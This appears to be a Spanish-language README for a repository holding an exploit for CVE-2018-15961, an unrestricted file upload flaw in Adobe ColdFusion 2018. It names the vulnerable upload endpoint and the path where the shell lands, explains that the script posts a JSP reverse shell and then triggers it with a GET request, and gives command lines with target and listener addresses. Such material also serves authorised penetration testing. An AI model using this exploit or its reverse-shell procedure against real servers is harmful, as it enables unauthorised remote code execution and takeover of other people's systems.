
Exploit para CVE-2018-15961, una vulnerabilidad de carga de archivos sin restricciones en Adobe ColdFusion 2018 que conduce a RCE
Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018.
El exploit envía una solicitud POST que contiene una reverse shell JSP a /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. Si tiene éxito, esto sube la shell a /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. Luego, el código activa la shell enviando una simple solicitud GET.
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp